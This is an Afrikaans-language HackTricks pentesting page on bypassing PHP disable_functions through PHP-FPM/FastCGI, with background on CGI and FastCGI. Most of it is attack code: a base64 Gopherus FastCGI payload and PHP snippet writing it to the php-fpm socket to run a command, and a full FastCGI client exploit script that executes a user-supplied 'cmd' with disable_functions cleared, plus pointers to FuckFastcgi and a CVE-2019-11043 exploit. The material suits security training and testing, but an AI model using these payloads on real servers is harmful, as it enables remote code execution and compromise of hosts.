disable_functions bypass - php-fpm/FastCGI
Reading time: 12 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
PHP-FPM
PHP-FPM word aangebied as 'n superieure alternatief vir die standaard PHP FastCGI, wat funksies bied wat veral voordelig is vir webwerwe met hoë verkeer. Dit werk deur 'n meesterproses wat 'n versameling werkerprosesse toesig hou. Vir 'n PHP-skripversoek is dit die webbediener wat 'n FastCGI-proxyverbinding na die PHP-FPM-diens inisieer. Hierdie diens het die vermoë om versoeke te ontvang via netwerkpoorte op die bediener of Unix-sokke.
Ten spyte van die intermediêre rol van die proxyverbinding, moet PHP-FPM op dieselfde masjien as die webbediener werk. Die verbinding wat dit gebruik, terwyl dit proxy-gebaseerd is, verskil van konvensionele proxyverbindinge. Wanneer 'n versoek ontvang word, verwerk 'n beskikbare werker van PHP-FPM dit—dit voer die PHP-skrip uit en stuur dan die resultate terug na die webbediener. Nadat 'n werker die verwerking van 'n versoek voltooi het, word dit weer beskikbaar vir komende versoeke.
Maar wat is CGI en FastCGI?
CGI
Normaalweg word webbladsye, lêers en al die dokumente wat van die webbediener na die blaaiers oorgedra word, in 'n spesifieke openbare gids soos home/user/public_html gestoor. Wanneer die blaaiers sekere inhoud versoek, kyk die bediener na hierdie gids en stuur die vereiste lêer na die blaaiers.
As CGI op die bediener geïnstalleer is, word die spesifieke cgi-bin gids ook daarby gevoeg, byvoorbeeld home/user/public_html/cgi-bin. CGI-skripte word in hierdie gids gestoor. Elke lêer in die gids word as 'n uitvoerbare program behandel. Wanneer 'n skrip uit die gids benader word, stuur die bediener 'n versoek na die toepassing wat verantwoordelik is vir hierdie skrip, eerder as om die lêer se inhoud na die blaaiers te stuur. Nadat die invoerdata verwerking voltooi is, stuur die toepassing die uitvoerdata na die webbediener wat die data na die HTTP-klient oordra.
Byvoorbeeld, wanneer die CGI-skrip http://mysitename.com/cgi-bin/file.pl benader word, sal die bediener die toepaslike Perl-toepassing deur CGI uitvoer. Die data wat uit die skripuitvoering gegenereer word, sal deur die toepassing na die webbediener gestuur word. Die bediener sal op sy beurt die data na die blaaiers oordra. As die bediener nie CGI gehad het nie, sou die blaaiers die .pl lêer se kode self vertoon het. (verklaring van hier)
FastCGI
FastCGI is 'n nuwer webtegnologie, 'n verbeterde CGI weergawe aangesien die hooffunksionaliteit dieselfde bly.
Die behoefte om FastCGI te ontwikkel is ontstaan deur die vinnige ontwikkeling en kompleksiteit van toepassings, sowel as om die skaalbaarheid tekortkominge van CGI-tegnologie aan te spreek. Om aan daardie vereistes te voldoen, het Open Market FastCGI bekendgestel – 'n hoëprestasie weergawe van die CGI-tegnologie met verbeterde vermoëns.
disable_functions bypass
Dit is moontlik om PHP-kode te loop deur die FastCGI te misbruik en die disable_functions
beperkings te vermy.
Via Gopherus
caution
Ek is nie seker of dit in moderne weergawes werk nie, want ek het een keer probeer en dit het niks uitgevoer nie. Asseblief, as jy meer inligting oor hierdie het, kontak my via [PEASS & HackTricks telegramgroep hier](https://t.me/peass), of twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Met Gopherus kan jy 'n payload genereer om na die FastCGI luisteraar te stuur en arbitrêre opdragte uit te voer:
Dan kan jy die urlencoded payload gryp en dit decodeer en na base64 transformeer, [met hierdie resep van cyberchef byvoorbeeld](http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). En dan die base64 in hierdie php-kode kopieer/plak:
<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
Uploading en toegang tot hierdie skrip sal die exploit na FastCGI gestuur word (deaktiveer disable_functions
) en die gespesifiseerde opdragte gaan uitgevoer word.
PHP exploit
caution
Ek is nie seker of dit in moderne weergawes werk nie, want ek het een keer probeer en ek kon niks uitvoer nie. Trouens, ek het gesien dat phpinfo()
van FastCGI-uitvoering aangedui het dat disable_functions
leeg was, maar PHP (op een of ander manier) het steeds verhoed dat ek enige voorheen gedeaktiveerde funksie kon uitvoer. Asseblief, as jy meer inligting hieroor het, kontak my via [PEASS & HackTricks telegramgroep hier](https://t.me/peass), of twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Kode van hier.
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
Gebruik die vorige funksie en jy sal sien dat die funksie system
nog steeds gedeaktiveer is, maar phpinfo()
toon 'n disable_functions
leeg:
So, ek dink jy kan slegs disable_functions
via php .ini
konfigurasie lêers stel en die PHP_VALUE sal daardie instelling nie oorskry nie.
FuckFastGCI
Dit is 'n php skrip om die fastcgi protokol te benut om open_basedir
en disable_functions
te omseil.
Dit sal jou help om streng disable_functions
te omseil na RCE deur die kwaadwillige uitbreiding te laai.
Jy kan dit hier toegang: https://github.com/w181496/FuckFastcgi of 'n effens gemodifiseerde en verbeterde weergawe hier: https://github.com/BorelEnzo/FuckFastcgi
Jy sal vind dat die ontploffing baie soortgelyk is aan die vorige kode, maar in plaas daarvan om te probeer om disable_functions
te omseil met PHP_VALUE, probeer dit om 'n eksterne PHP-module te laai om kode uit te voer met die parameters extension_dir
en extension
binne die veranderlike PHP_ADMIN_VALUE
.
NOTE1: Jy sal waarskynlik die uitbreiding moet hercompileer met die dieselfde PHP weergawe wat die bediener gebruik (jy kan dit binne die uitvoer van phpinfo nagaan):
caution
NOTE2: Ek het daarin geslaag om dit te laat werk deur die extension_dir
en extension
waardes binne 'n PHP .ini
konfigurasie lêer in te voeg (iets wat jy nie sal kan doen nie wanneer jy 'n bediener aanval). Maar om een of ander rede, toe ek hierdie ontploffing gebruik en die uitbreiding van die PHP_ADMIN_VALUE
veranderlike laai, het die proses net gesterf, so ek weet nie of hierdie tegniek steeds geldig is nie.
PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)
Jy kan hierdie kwesbaarheid benut met phuip-fpizdam en dit toets met hierdie docker omgewing: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043.
Jy kan ook 'n analise van die kwesbaarheid hier.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.